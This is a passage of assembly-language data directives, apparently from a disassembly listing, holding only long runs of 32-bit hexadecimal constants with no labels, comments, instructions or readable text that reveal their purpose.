		dd 5A001832h, 0A392E7Ah, 3C071EB8h, 0D0678DC0h,	0AA853770h
		dd 423E2D5h, 55DF70F5h,	17AC808Ch, 2C48A52Bh, 35580000h
		dd 9F052620h, 0ADB0A063h, 59FC06DBh, 2073FD32h,	18500CA1h
		dd 0FCE008F7h, 9BC4E809h, 0E0EF4E40h, 97289A4Ah, 5420D831h
		dd 78C53E9Ch, 4E75A6h, 5E66C66h, 0DCDC2C4Fh, 25204540h
		dd 67BA4ADh, 0E31D63BFh, 2E3F389Bh, 95BCD4D9h, 90166000h
		dd 42C2D406h, 438B00F0h, 52D8BA53h, 320074DEh, 2A125796h
		dd 6C67114h, 0FA65EF5Bh, 2F444821h, 0B3460E4Ch,	3F80188Eh
		dd 2D84FF5Ch, 69C18F02h, 49311930h, 4F608290h, 4F6D2693h
		dd 8EE308E8h, 0F19F8B0Ch, 6BB500B9h, 0C61BDE41h, 0B60001E0h
		dd 0E4922684h, 0F0700F4Bh, 0C2FA00A7h, 69F59622h, 212512Dh
		dd 1C40A2A8h, 74185371h, 8E34007Eh, 6F9B9585h, 0AF002A4Ch
		dd 64F3594Ah, 24FD5A02h, 0E4A038h, 2D2213FEh, 7912DF39h
		dd 0E052C386h, 0C0515408h, 3EF4CFFBh, 0A522EE46h, 0CF036100h
		dd 140BA18Ch, 0BE100499h, 0C162BB5Fh, 3A5AFFCh,	3881F8C5h
		dd 0B9B72C3Bh, 0DC93414Ch, 0D4985A0h, 50C001E9h, 9DA6F76h
		dd 50CDB269h, 18532011h, 0FDE008F6h, 65C4F009h,	0E0EE4F40h
		dd 0B1E8C844h, 0ED015FFCh, 8CC3096Bh, 54253BF2h, 3EFDF440h
		dd 831D28B7h, 0D86F0A80h, 0ADC35F1h, 4BD08A41h,	85691400h
		dd 0B071E8Eh, 0F78B45C9h, 22F1660h, 242ACFDCh, 9031974Ch
		dd 51D358h, 35FCA133h, 1268A0h,	5C5E3601h, 5FA64EE0h, 0B23C8707h
		dd 730F311Dh, 72DC1040h, 2C9DD56h, 208918A4h, 34C43EC5h
		dd 1C701C20h, 41EF4601h, 8A10AB0Fh, 52798090h, 0C3247B40h
		dd 531500C7h, 6106CC94h, 0DE1CD8BDh, 0BCD5932Ah, 4561EB8h
		dd 0FA698C00h, 1210ED59h, 17ADAB2h, 0CD0B0958h,	0B7788941h
		dd 81704AB0h, 40AAD064h, 81EF01h, 0BBC6FAh, 2D4BD255h
		dd 455E0256h, 8A69BD60h, 314A2815h, 0DE70FBA5h,	6CA0242Ch
		dd 0C241EA01h, 0CC0DD0F0h, 0F737E8h, 1350016Fh,	8EA4F8A7h
		dd 0EAD41750h, 2301C89Bh, 4AB671Eh, 0F9883B18h,	0ED1E015Bh
		dd 33B7FB75h, 334211Dh,	9D0717Ch, 7891C251h, 0FD805F91h
		dd 0FE3EF6CFh, 63AC448Ch, 0BACF0500h, 6D16787Ch, 6D8075Eh
		dd 0A0B36B93h, 421C9DB9h, 0DF38F11Fh, 0AC40BDD2h, 0ED50045Eh
		dd 0D045642Fh, 96C8051h, 0F0A8752Bh, 3100425Eh,	50E16822h
		dd 9261D2FFh, 12A21F88h, 1555C5CCh, 825C945Fh, 0AB20C174h
		dd 88B5F4C5h, 0C2C3153h, 5147385Ah, 0AC207185h,	0A10457EAh
		dd 82C292E4h, 0C9FC6CC8h, 0D433C510h, 0B83064A2h, 87CA0054h
		dd 6375D431h, 6D00157Ah, 52B0E9B7h, 0C0918BD6h,	0ECBC0731h
		dd 3073F9Ah, 0F98A1FEh,	0A85905D0h, 80B747Eh, 60B7B49Dh
		dd 3D0F2CA6h, 0E8487083h, 2B93B10h, 21AF38FCh, 58B080BEh
		dd 0A1335044h, 85F1A1D0h, 17140028h, 5A23F074h,	0F3CF0438h
		dd 0AB62263Eh, 0CF087C20h, 73E400B6h, 823097D0h, 0DCFAE633h
		dd 6FF3C017h, 8C77103Ah, 20849901h, 0CFCE9A96h,	0A84CE077h
		dd 2329D10h, 1DC42A5Eh,	71F4C6F8h, 15230081h, 0A09CBEF0h
		dd 4D04803Dh, 0BB165A6Ah, 80C0B884h, 1A2CC46h, 4C171876h
		dd 3426FA68h, 4B00F328h, 24202C0Ch, 0C49B7F2Dh,	890A3178h
		dd 0E7E03014h, 0C139940h, 33250883h, 3960D990h,	0FC249CC9h
		dd 4F9B01E8h, 0A4B73526h, 69B44096h, 54586120h,	42F9778h
		dd 0BB008C77h, 0D8C25931h, 0A435A51Fh, 57D0C0B0h, 2E69E456h
		dd 465EA494h, 839403AEh, 0F2F46625h, 40C48Bh, 5964569Dh
		dd 4FA730BFh, 0F4DC2303h, 0F0C33F65h, 1284D0A1h, 0C07767F2h
		dd 300AE56Ch, 963AA280h, 83189CCh, 0C3AF484Bh, 610081DAh
		dd 0A3384F17h, 123B7E83h, 40A791E7h, 0ADCD1F4Ch, 2F2C7C0h
		dd 6F606894h, 46242775h, 0B02262h, 2375579Dh, 7E86AD87h
		dd 0C8A21600h, 74215194h, 5F6401D9h, 0B1130F27h, 78602C45h
		dd 5DE890Eh, 32C89867h,	57B43C3Ch, 0E1C1782h, 87098C31h
		dd 24D843D8h, 0B6090830h, 0F6DFA100h, 30C5B56Fh, 5D20BE88h
		dd 50144932h, 0E1200FEEh, 3518AA9Ah, 0A4571D10h, 4725240Ch
		dd 56B0AD91h, 2618AA62h, 0FA68C6E6h, 0B0DEh, 0A28D1F82h
		dd 26F9BC14h, 9F23773Bh, 670616DDh, 0B0319E8Bh,	0F92A0064h
		dd 34E92964h, 1301CA01h, 0AF94091Dh, 21F47707h,	0CCB32879h
		dd 894A1A8h, 634030B0h,	0A9638B15h, 108F5288h, 4812398h
		dd 0D3157F6h, 2035988Ch, 0FB006C7Bh, 90BE1101h,	44DE923Fh
		dd 0E3003744h, 1E4877AFh, 0C929ACh, 0D2A2A9CEh,	2898D1A3h
		dd 0B3DC9200h, 4426F59Eh, 0B678ACh, 42408FDBh, 24C1ADBBh
		dd 74F0A74Ch, 14DE8240h, 809336D7h, 80683235h, 20E99728h
		dd 0CC818C2Ch, 8B815718h, 3F8CA889h, 109E087h, 0CEC5F74h
		dd 80804713h
		dd 1605E641h, 38D9C2h, 0CF9676BEh, 0A8EF12DDh, 80A96000h
		dd 0C913090Dh, 7089A37h, 0C7528310h, 0EFDB20D6h, 0F5246EF9h
		dd 0ED0030B7h, 0BD1C6F46h, 0E9731F5Ch, 0E280BF9Fh, 0EA84648Fh
		dd 820E32A9h, 875F9D89h, 97B7AEECh, 73479A80h, 78870EE7h
		dd 0B780EEDDh, 42B0E1A2h, 0E0C76C00h, 0B4F06553h, 0EE990041h
		dd 1B7758B6h, 820169B3h, 786486E7h, 0B8E253E2h,	0F08DCD38h
		dd 95D2F1DFh, 0E8D42018h, 60F678E1h, 4F97B042h,	0E5001C6Eh
		dd 8DF9656Ah, 0FACE8446h, 0EE7FCB7h, 0FA984282h, 11900BBEh
		dd 0C38E3C80h, 0D1C37B53h, 0C0FD9266h, 55CD7552h, 0B6DD9889h
		dd 0EC0C045Eh, 0E10503Bh, 292D300h, 0E2234A6Bh,	0D93400B8h
		dd 38C8F94Fh, 31006DDEh, 5CE198BEh, 0C0967B1h, 6A472855h
		dd 0BD0A6E18h, 8530852h, 0B7009516h, 0C3EA0AD8h, 0E2800AEEh
		dd 2C21B6h, 425B2088h, 0B1534A6Dh, 88B5340Ch, 468B0C71h
		dd 0CDFD3081h, 86DA590Ah, 5838CF58h, 2980679h, 40F154D0h
		dd 956D6619h, 4098E7E8h, 51645991h, 3D7828D0h, 588CA866h
		dd 0DFDB6C21h, 0EFB0C414h, 0E27733C8h, 401DC223h, 0A8D852E3h
		dd 8480F13Ah, 5384E4A1h, 0E104C483h, 28803E13h,	0D4C5243Dh
		dd 0C1823A2h, 0B61910FBh, 410D2456h, 0D59FE4h, 0BE37BBC9h
		dd 44E44CE3h, 0D6286474h, 68090CF0h, 20CAD7B8h,	32BA45FCh
		dd 4FC200A1h, 0CE6B090Ch, 22281D8Ch, 893C0C1Ah,	144C2649h
		dd 5828CA9Fh, 7CFDDD05h, 643A490Dh, 4C02F522h, 0BCE244B3h
		dd 0BC8C8830h, 84F1A608h, 88870ACAh, 82F35F68h,	3A683680h
		dd 0B41C4872h, 0F8D953A3h, 5165E202h, 5C6053EFh, 418A378Fh
		dd 67105748h, 9861B03Ah, 0BCF5F3C1h, 8ACB8C4Ch,	0D02DE435h
		dd 38D41B31h, 98116954h, 2039DBA5h, 91361E18h, 6802BCABh
		dd 0C1B6D289h, 0EF80A1A8h, 884C2357h, 0A3B509F9h, 640E886Eh
		dd 11BC6DE8h, 0B105A6C0h, 4270EAC1h, 53CCFBE0h,	4E440C46h
		dd 5580AE39h, 0C18985Eh, 8C9F5040h, 84E22CB3h, 8C0A5504h
		dd 986688CFh, 656428E0h, 0F0B222F4h, 0A25A6815h, 28390494h
		dd 6090A971h, 91920C52h, 42859128h, 98B48A80h, 0DA0A0CA3h
		dd 0F6028C7Ch, 67CE5F16h, 0DB31D80Ch, 1A3D828Fh, 0A846A666h
		dd 0B9EE5945h, 0C8493B80h, 50A10C0Ch, 93858CB6h, 9747549Ch
		dd 54860AA8h, 93D88C65h, 2CBDC4A0h, 0A6130984h,	1425B8E4h
		dd 88D83540h, 9964E774h, 509E6D61h, 0F1F12011h,	22F0494Bh
		dd 0E51CA58h, 0AC106BA8h, 79C5C52Bh, 0D823D1F9h, 58215696h
		dd 934CCECAh, 0C82C3F23h, 16C4D7CAh, 18ECD06Fh,	0C7106FA2h
		dd 0DBBE09ABh, 483E86Dh, 44E44876h, 0D41C4797h,	4B86CCE2h
		dd 18CF9CD0h, 5369E76Ch, 3E70D586h, 0DE4459DCh,	4F50DDECh
		dd 0F889BA9Ch, 11883C4Ch, 0E4C44853h, 0C13CE851h, 0BD4EA3DCh
		dd 467C7E1Eh, 0FB88BE85h, 9EF0128Ah, 6E48C45Ch,	4D509049h
		dd 0E30E867Dh, 6FE146A9h, 1CC03FBAh, 0E67897B3h, 775C00B0h
		dd 0DD48681Bh, 0A30055EDh, 58AEF699h, 831C45h, 87A9824Dh
		dd 721D865Fh, 0ED6D321Dh, 8C6F978Eh, 0C3EE28AFh, 87E77710h
		dd 0B4EA83E0h, 0A8704100h, 0ED823280h, 0DE5C0F73h, 7881BCA9h
		dd 0E958AA1Ch, 260BCA8h, 6A5C8DEFh, 88104AA2h, 0D6D704E4h
		dd 73669E09h, 74B400E9h, 274F81A2h, 449C8871h, 93539820h
		dd 0C2791C54h, 3C3910Ah, 9651002h, 7E752082h, 67633C68h
		dd 4B05159h, 0A9F832D8h, 0C2EDF4C3h, 830C014h, 0CB624095h
		dd 0F64D931Fh, 2CD4B84Eh, 0E8AA9067h, 77620004h, 0CE5694CCh
		dd 110B2DF3h, 0A52A38h,	3FE1A320h, 55D72E41h, 96C90590h
		dd 1ECC9136h, 39708F9Ah, 405A0AEFh, 6FB7B403h, 73E97E08h
		dd 0B8655C5Dh, 80785E2Eh, 63977EF6h, 7CA4FD4Ah,	0FA086973h
		dd 0F0AE3A29h, 0DA4D1A20h, 0C80204B4h, 5CA0F74Eh, 0ABF00C65h
		dd 6F689FE7h, 38309463h, 0BAF83025h, 0FEB22381h, 28442E4Ah
		dd 0B106FBE9h, 0E1E5014h, 253A6C72h, 765C2564h,	11EA8C28h
		dd 0E349DF85h, 0E2800593h, 97A791Dh, 0B0906188h, 2502229Ah
		dd 0EDBFC883h, 16042097h, 7FB05BE4h, 0FF99DB0Fh, 89628C23h
		dd 8848A163h, 721F4892h, 6445A728h, 980B779h, 0A1C5A859h
		dd 54015D68h, 5C5145E3h, 0E7F80A85h, 1B6E075Fh,	70734672h
		dd 0E2864DAAh, 78B35DECh, 5002BD16h, 0C34180E7h, 9197E054h
		dd 7CE674F8h, 58B7016Ah, 0C44C8237h, 88444C43h,	0F402B07Fh
		dd 3FB91B3Dh, 204983Eh,	0ACBC7CFBh, 93088010h, 5FB63EEEh
		dd 30A66544h, 78CA8B2Ch, 865620CCh, 497CC8B0h, 0A4A05353h
		dd 2527E449h, 1032D7CCh, 230899E9h, 0FB256412h,	0CE2B306Ch
		dd 10949F59h, 0C124A5A2h, 9111154Fh, 0B90A9F08h, 278C7053h
		dd 9B5710D0h, 0A2157C9Ch, 87C4A028h, 8C8AA990h,	8B025068h
		dd 8863E2CCh, 9C2E18D4h, 85D343Ch, 2257E033h, 51445009h
		dd 124B894Ah, 48552454h, 224F914Eh, 0A2494448h,	0AC12A389h
		dd 0A64FAD24h, 0E3F14F80h, 0FD0A986Dh, 0F4916FE1h, 52B88C46h
		dd 51CA8462h, 7E655D04h, 0BC3F084Ah, 80305600h,	0F650352h
		dd 4EB7E296h, 81BF2387h, 0F0996A34h, 4101538Bh,	325F1E30h
		dd 3AD11666h, 22E10ED1h, 4B403EE3h, 99279600h, 0BC838950h
		dd 6A316500h, 5CE468B9h, 0AF7525BEh, 0A1FF4835h, 64D5FF04h
		dd 0C014B88Dh, 66EDF87Fh, 9BFB0881h, 361D6563h,	1F563829h
		dd 0D18DEAE1h, 1B340395h, 78336DB9h, 38288A09h,	75D55F04h
		dd 5E61E280h, 3E8E5D3Ch, 0AD0CBE8Dh, 0CE21B7D0h, 0B8382352h
		dd 0E21300DCh, 22164933h, 531885E7h, 0EA18514Bh, 0B80C003Ah
		dd 0A61A64CBh, 1CA06223h, 0AF01B904h, 791180CEh, 28488D45h
		dd 0E44EBD58h, 6397E80Ch, 30EF41A3h, 0D73053BDh, 0E4004E59h
		dd 14A9F674h, 78E746h, 0C882F50Dh, 98628EA1h, 0DCEB451Ch
		dd 0E4386140h, 7DF33F1h, 56E65FEFh, 8965115Dh, 0CCD8F0B0h
		dd 1EF66E1Eh, 4D8B3900h, 18766C09h, 0F9546188h,	0A8002D94h
		dd 73DD1A8Ah, 4A11B0h, 0F9DCFFF6h, 0B9A4EE32h, 90CB3Ch
		dd 0C8BFC1C9h, 1D1571CAh, 733711h, 6109B83Dh, 0CD00D4E4h
		dd 1C5B5CD5h, 587446h, 0F55F57E6h, 0C65D61E3h, 0DF14C60h
		dd 3B067EEAh, 0BD03708Bh, 0F1B1C190h, 0CEDCE590h, 2835B430h
		dd 0C3F20A57h, 0AD2B88A8h, 8C00D87Ch, 381B630Bh, 3BA6BAh
		dd 0C26F8670h, 832B9EEAh, 0FB2E5805h, 0EC5EC534h, 0C80C17C0h
		dd 0F95688Bh, 0F37BC645h, 0C4F27E60h, 0E800518Eh, 9BFB7263h
		dd 3EFF429Dh, 2016D3A3h, 0C11DAAA9h, 7746081h, 0E3E0A686h
		dd 42621398h, 476EBC06h, 189C3C14h, 0A5300441h,	9EA73EF8h
		dd 609AE308h, 409D8C00h, 669B0Bh, 0C5D8FD69h, 93A2FC81h
		dd 0E8535901h, 0D90F4661h, 8E0C1880h, 0A4F85866h, 0F059921Dh
		dd 0E8508030h, 3F0CE86Eh, 0C74998Fh, 0F7291A9h,	0E3307A78h
		dd 908A319Fh, 726180A4h, 0C960529h, 84C5878Ah, 0FD4D6280h
		dd 14A59A9Bh, 8891A706h, 409C8A03h, 293D860Ah, 0D82B8387h
		dd 0C089EEDEh, 0C0EC4188h, 0C2C9C518h, 58E6FCCCh, 0BDB07A54h
		dd 45BB4B00h, 0F849C11Bh, 0D1D80059h, 82D0FA83h, 53003A55h
		dd 684E7038h, 3807D8Fh,	0D4B56378h, 0B7E089E1h,	0E41DB109h
		dd 37034401h, 1B44088h,	0DBC04971h, 0C0C2E127h,	7000F009h
		dd 408EC907h, 0DD95F6FBh, 3015CE28h, 6D62C681h,	7E988D7Ch
		dd 1812A175h, 0B14521CEh, 4268B931h, 317D791Bh,	70F71CD8h
		dd 1091818h, 0A9426359h
		dd 0C2FD7EA4h, 0CF22288Fh, 0E7204015h, 0F0388B60h, 0DBC5D6D1h
		dd 301091B8h, 1D18970Eh, 0A4C779EFh, 507E31C3h,	62800C3h
		dd 2038895Bh, 2276C6C1h, 565C78C0h, 5078A969h, 8CF5D080h
		dd 183FED43h, 43BC0346h, 19E06F33h, 0B9137930h,	80C1217Ch
		dd 0F5DA1569h, 0A958E9A1h, 0F18264A4h, 0E7DBFE98h, 0F051DC8Dh
		dd 0B2731B02h, 350F31C3h, 0C2182A8Fh, 54DC284Ch, 0DD848058h
		dd 0C000E982h, 6F48674Bh, 81396F18h, 0E94CEAD5h, 0F1D3186h
		dd 95541856h, 5351FC4Ch, 0FDE81358h, 620E9104h,	28868232h
		dd 0A19CF839h, 0D608A8A4h, 93B28842h, 0B8B2744Dh, 0D1421CDFh
		dd 0B242A33Eh, 0E51A18FAh, 0D750C88Ch, 55C8AB47h, 0F38ABC90h
		dd 66217C50h, 228644DDh, 8289FBBh, 0B051863Ah, 4E8D0308h
		dd 0D1DE7835h, 500B23A8h, 1485DB6Eh, 53102895h,	42AAFC50h
		dd 458A8885h, 8503E9Bh,	64E07822h, 4050887Eh, 41086C99h
		dd 220E93E7h, 34688A60h, 4C48A79Ch, 936D8160h, 61B5E922h
		dd 40840440h, 9374CE3h,	6EDF018Eh, 0FB4378CCh, 4C3198CBh
		dd 1948C509h, 0B1D6061Bh, 27FA10FCh, 34FE1343h,	0FDA80CF1h
		dd 0AF53FB10h, 76584338h, 79926781h, 11DC52CEh,	0EDC63CA0h
		dd 9B44409Eh, 28C148Dh,	0C784A05Bh, 6864CC5Fh, 41304899h
		dd 62C9D464h, 5841189h,	0C835461h, 45416Bh, 22996D38h
		dd 0E0D731FDh, 12034E84h, 4FA7B549h, 24A298D9h,	0A1C53842h
		dd 4679D00h, 4764451Ch,	609FF101h, 8286105Bh, 0E8C0F344h
		dd 9D2F42h, 9BF85F93h, 2C504E60h, 60E6EF8h, 8043B28Ah
		dd 0FD749C8Ch, 0E954B049h, 196F87F0h, 409F910Ch, 0FCF86081h
		dd 40BCA505h, 4027A7E2h, 469F9880h, 3E84F0FFh, 992E1D8Ah
		dd 30533C2Ch, 0E3469860h, 1CA6608Bh, 0A6FBD08h,	3C50009Ah
		dd 980C4766h, 60A641E8h, 0B082B09Ah, 0E0000437h, 0A6E6098h
		dd 0E4D20E8Bh, 11378C4Bh, 0A8811864h, 70F14293h, 32027D9Ch
		dd 9A5A7CBh, 412CB88Bh,	0C49D5006h, 0D3CB3E0Fh,	0A7323502h
		dd 3898E34Ah, 0A9013351h, 993F3580h, 0A7DFF640h, 40E814BAh
		dd 344AC5E1h, 0E49A9F8h, 6E63A704h, 5B664A9Fh, 0A46701F8h
		dd 44D1CC08h, 0AF042A4Ch, 0B2A12C00h, 0B3450252h, 2A7C03ECh
		dd 320C8300h, 8A0F7692h, 347A4C60h, 642A909h, 8B8F00AEh
		dd 0A0862818h, 4834A53Ch, 0A70B0098h, 334D9F9Eh, 0F85B3D61h
		dd 0E1840CCh, 0DE502832h, 0F519213h, 6C002035h,	46939A35h
		dd 12EC90F2h, 30A734A4h, 0E547E474h, 188991D2h,	84FF040Ah
		dd 308055D2h, 0B0C4067h, 0FF5EB0E6h, 0D8309024h, 0C4887B4h
		dd 0FDB50158h, 0FC5F9C98h, 26AEA7D0h, 7D0A321h,	81D99D0Fh
		dd 899AA90Ah, 80908C40h, 4D91E6C0h, 0A58A07F1h,	478DE377h
		dd 8C0E8946h, 619A6AE0h, 0A439F97Ah, 1670589Ch,	84015964h
		dd 9730A5AEh, 7104A020h, 37A47891h, 34609D8Bh, 58AC869Ch
		dd 86F97239h, 8E0DB560h, 92331F40h, 9A300D66h, 0E0A0D1C8h
		dd 9F630A46h, 0E7E6E330h, 0F9A1184Fh, 75EF88Bh,	5B6EA701h
		dd 98B47EF0h, 0ADFA0490h, 660FF84Ah, 0EE1CFDA5h, 9FE4C1D4h
		dd 36DC217Dh, 0E7450060h, 9D076FB8h, 490DE2A5h,	71D2B898h
		dd 247EF318h, 1C98A2F0h, 91748C98h, 796E03Eh, 8CA93047h
		dd 66A4F6C0h, 7CFB5859h, 98013C78h, 0A906680Eh,	236087AAh
		dd 0D2505F04h, 9BE22C05h, 673D85C4h, 60B48268h,	0A526E4CEh
		dd 63C50C75h, 958E9880h, 74DCB069h, 0E8D89060h,	2C8DF074h
		dd 49C44292h, 6FA51C03h, 0E3770975h, 0A3E46048h, 92502CA4h
		dd 9BFB82C0h, 20E18AFEh, 3090CD2Eh, 69C79D10h, 0FC83668Bh
		dd 0FDA4A1A2h, 0F9E3D064h, 3C482C4Bh, 0B64C987Ch, 34CC3DC0h
		dd 5B580E30h, 66389C33h, 668D3E7Ah, 2980E4B0h, 2E189E27h
		dd 6BB013DCh, 447FE38h,	4AA9E1ABh, 5B8633C4h, 5C845E58h
		dd 5069488Dh, 857C7872h, 0B56E718h, 1C59C800h, 472D608Ch
		dd 41501F0Ch, 0F82F43B2h, 0FF585990h, 20470BD8h, 0F8648099h
		dd 556860A2h, 0F86C40FDh, 3501DCAh, 1E3A84E6h, 15B80A0h
		dd 520A75Ch, 419C8E08h,	7D6038C1h, 743A443Ch, 47669109h
		dd 9B5A3CE4h, 1895D421h, 0A291ECh, 5B9C8C0Ah, 4298A4E2h
		dd 0BF5C8AF0h, 64177F8Ch, 9007046Bh, 8FEE204Fh,	505890A3h
		dd 46B0903Eh, 8A084321h, 0E46E9325h, 4B80B210h,	53C860FDh
		dd 68C79548h, 0F0C1822Bh, 804264A4h, 64349798h,	8AECB03Ch
		dd 34E850BEh, 4099055Fh, 590F70Fh, 0FC47642Eh, 16B5F000h
		dd 0AEBC36h, 40939802h,	4D9EE606h, 0E221F962h, 0F0FCE07Eh
		dd 4691019Bh, 72A5A4E3h, 1990ADF8h, 5AC486E0h, 38A453FCh
		dd 0A71DB43Dh, 17B38A8h, 180FF5A1h, 0C914ECBBh,	0E020F0C5h
		dd 1CE6B60Eh, 1AEF80D9h, 76E972EAh, 0EF9E815h, 0FBB4EB0Fh
		dd 0E8973880h, 0B71D061Ch, 0B5062009h, 0F281EEFh, 730AED18h
		dd 0C4800FEFh, 0CB04DDE6h, 20C719FCh, 0A18105FCh, 0CAF01EF7h
		dd 181B07F5h, 4020ECB6h, 214E6C6h, 0F2BD08C0h, 3EFE1082h
		dd 0F00C517h, 0DD9EA0EDh, 1BFCB1F8h, 0B40FB6F0h, 5FBCEB23h
		dd 0F5B7A306h, 0E9E888h, 0B4B8061Ah, 0E8BCECFEh, 0BE40CFh
		dd 0F9C3EBFFh, 7D091E16h, 0C5E7C0B5h, 7EEF0EF7h, 0D8B8CF00h
		dd 0D311F2C3h, 0DDE801C7h, 1AFABCEAh, 20E6F0F8h, 0DBE9E0F9h
		dd 0DDF328C3h, 51874D5h, 0EEFCADFh, 0D4584018h,	0D55233BDh
		dd 832C130h, 0C0C2A8CEh, 0B57EDB20h, 0C900F011h, 0A2D2DDE9h
		dd 3EEB19E4h, 0A867F7C7h, 20D8C5F2h, 0BCDF0F78h, 0EA2810E8h
		dd 183EC8C6h, 1FF33CB1h, 0D318E8A0h, 51D2F8E8h,	0C5F1F0C7h
		dd 42F4454h, 0B401D2EBh, 0B20511FAh, 1CFCDC30h,	9C1BEF9Bh
		dd 0D5804052h, 0CE3B8CDFh, 0A1D1F80Fh, 74220034h, 0DE463Dh
		dd 25947336h, 0DC1D89FBh, 0ECB8E400h, 6B6FAD66h, 4B1003D5h
		dd 4AD022E7h, 0DFBD3003h, 0C8EE0559h, 61C81D11h, 0CE34884Fh
		dd 6000DFB8h, 6A8C42DDh, 18ADE44h, 3EFC8F28h, 83D07496h
		dd 0B2E95220h, 9C1CCAA3h, 55692320h, 0ED489001h, 9880CDEEh
		dd 0E54A7C52h, 8A0BB12h, 8C1BD1D5h, 0AAB027CAh,	69412EE8h
		dd 0D01E4F5Ah, 3307C179h, 0A8EDC9B6h, 904497F2h, 3CCC6A4h
		dd 6B559449h, 9B816D66h, 0C71C4C59h, 0A8D7F980h, 2F54C0h
		dd 0C17B4BF8h, 0E502175Ch, 0C6D4CA0Ch, 606D98BDh, 0CE7561BBh
		dd 90001F5Ch, 0C8AE9D69h, 6542D4D0h, 1E0628ABh,	0EEBBBCC4h
		dd 1CF067AAh, 7E0272h, 4FE103EAh, 8CC1BD1h, 0A72159h, 51327E09h
		dd 37928730h, 0DC4C84A0h, 0D6A1CF61h, 0E183393Bh, 0B36F92A5h
		dd 0BC09100h, 0B116FC9Eh, 0B07184h, 4CDDBBFAh, 9CA3E3C8h
		dd 57590491h, 0D571800Dh, 7E25B638h, 153479A2h,	1CFBE58Ah
		dd 9B0D4188h, 0F801C951h, 171854B3h, 6C953814h,	0F6DD002Ch
		dd 0E7340427h, 3CD90E86h, 0A78D870Fh, 27FFC021h, 1C61A90Eh
		dd 0C08C62CCh, 91A897BFh, 994B8358h, 2BD2A8B0h,	0CC355494h
		dd 6048CF2h, 0E3E9FC7Eh, 0AB805867h, 0E71D7E0Dh, 14FF0525h
		dd 0BE390Bh, 5A032694h,	88900A84h, 28CA2022h, 74B8B4ECh
		dd 0E91188AAh, 0C0A8224h, 3861FA12h, 18194A30h,	4581E31Ch
		dd 0B1116C26h, 3F0C9FA2h, 1E4C2138h, 0C02286FBh, 0C6357EF3h
		dd 98C3BB44h, 6FBC5963h, 56068849h, 943011BAh, 77B4414Ah
		dd 9B7C0241h, 0A15E059Eh, 0DC22AC41h, 74AD165Ah, 304BF6E2h
		dd 0C3F4DCCAh, 0A1974F80h, 0C692DAA8h, 4D01E7Dh, 0C8BD76DCh
		dd 0E9484C08h
		dd 3C078184h, 0FAF00182h, 0EC934848h, 0B5574478h, 0A250CF4Ch
		dd 0D85106A4h, 48DD0137h, 0E40B5AB1h, 74416421h, 221E7021h
		dd 820875Bh, 61C07B12h,	802EBB5Ch, 0B0A84B94h, 761E5DDBh
		dd 810C115Fh, 2BF8BCh, 87F34C3Dh, 0B17CCE82h, 4F97B8C1h
		dd 2CF923Fh, 4C2EBD8h, 8441BAC4h, 8FF18EFh, 0BEA017Eh
		dd 904955C4h, 0C9737000h, 0B6305765h, 0E4C65050h, 0B0C55083h
		dd 4B94970h, 0B8804338h, 212C6139h, 0F90EDCD1h,	60B951B2h
		dd 6B6C6638h, 0CE59C05Ch, 5A8C726h, 0E224B400h,	492CC4C3h
		dd 0BAF50CF4h, 63296BCFh, 813C4F48h, 0F6E4CAEAh, 0FA50FC34h
		dd 0CC89A42h, 0D9B2E575h, 36000E18h, 0EFDACA28h, 0B0F1C24Fh
		dd 9249788Ch, 0E6B50F00h, 0E8C18F78h, 0C158662Fh, 81CCD114h
		dd 78EE1A21h, 2C208EC8h, 7C54FB1Eh, 13D8A882h, 5ADD6090h
		dd 0D4206828h, 0C89EB412h, 85339840h, 68A4B63Bh, 8F810D6h
		dd 682447FFh, 636D8108h, 348027FAh, 44868707h, 0A200FCA8h
		dd 0B0321026h, 0EE612780h, 84AF9083h, 3D1A007Ch, 0D5ECC429h
		dd 2352C303h, 30B3E234h, 8D7CDB91h, 37575418h, 609E8AB0h
		dd 0FA9BC9CCh, 6312893Ch, 460E4FFh, 226E58h, 5CBAA6CAh
		dd 0E6474F02h, 4A9C40EBh, 9FE996CDh, 260C9B28h,	1207187Eh
		dd 63F0D4C9h, 0F6F00448h, 0CC99F3E9h, 600BA5C2h, 0DAD4B8h
		dd 44E87127h, 0D617B322h, 0D000A9EEh, 7BA39391h, 0EEBEAE0h
		dd 7A67C149h, 8084D18Ah, 1B696225h, 6A00C3AAh, 0EB648278h
		dd 0CEFF540h, 0A9FED532h, 3D0AFFA8h, 80F6E06Dh,	8B52E9C0h
		dd 1ADC9238h, 18A20DCEh, 19EC0C61h, 23FA7EC0h, 5A1113E9h
		dd 7E07910Eh, 398497C0h, 886EE026h, 3AE545C8h, 3CFEA003h
		dd 0E06AAA79h, 84C214D8h, 481EE820h, 0A4C0F883h, 2E51801Fh
		dd 0E415020Fh, 0B246E164h, 0C6E48210h, 1D64934Eh, 6789B06Ah
		dd 931D7180h, 2E4073A0h, 0DD4144BEh, 26030F6Bh,	0E70AE3BFh
		dd 23F5C0F4h, 55072ED1h, 65B2106Ch, 0B52F140h, 424B195h
		dd 80998C13h, 0C1B8B5D8h, 8A5B233h, 0F52105E5h,	0C0109994h
		dd 2236FDC9h, 7F209090h, 0C0E3FC3Eh, 2C1C1929h,	0FD38F7A3h
		dd 37D101EEh, 0D96D0433h, 4B27CC4h, 459EC912h, 0F42C9873h
		dd 18EDC8A1h, 23FBFCFDh, 56111BE9h, 3C9224h, 28D7B291h
		dd 24B1680Eh, 0E35208h,	1C823DF8h, 9E019FEDh, 96354F62h
		dd 0F824D508h, 3228302Ch, 189D23C0h, 0BE361A06h, 9320AEB8h
		dd 0CCBA0614h, 0C4047964h, 7C8C8E57h, 416A90C1h, 0CEFD6510h
		dd 1531E21Ch, 7BD0803Eh, 0F57A7230h, 0E00D07DCh, 3CB2474Eh
		dd 0ED1048A8h, 8442B0DAh, 54B84CD4h, 90733F8Ch,	0F34D1C0Eh
		dd 349EDBA1h, 0B1C893A7h, 42520000h, 74891487h,	9A3D02F5h
		dd 50F4E0C6h, 404184B2h, 0FC011880h, 433472FFh,	0FAB22285h
		dd 8E2600A5h, 1EEBE066h, 0BE24DF2Eh, 0C552B404h, 604EC4E4h
		dd 812A8Eh, 6602C4ABh, 0F6F799FFh, 54BE3409h, 9BD890BAh
		dd 3C9235h, 0E406513Ch,	4750299Ah, 0A856A628h, 5C245706h
		dd 5E027DFh, 0F6D4D112h, 0EDBC00B6h, 68DAAB5Eh,	210C3B48h
		dd 369C08D9h, 0F9D5EE00h, 12FAD79Bh, 607351C4h,	0D638D2ACh
		dd 1685D69h, 0FC890900h, 401B8C20h, 0C61A3613h,	1058CFF0h
		dd 91EE0244h, 183F79C0h, 0DD500BCBh, 94A1D0F2h,	7484964Fh
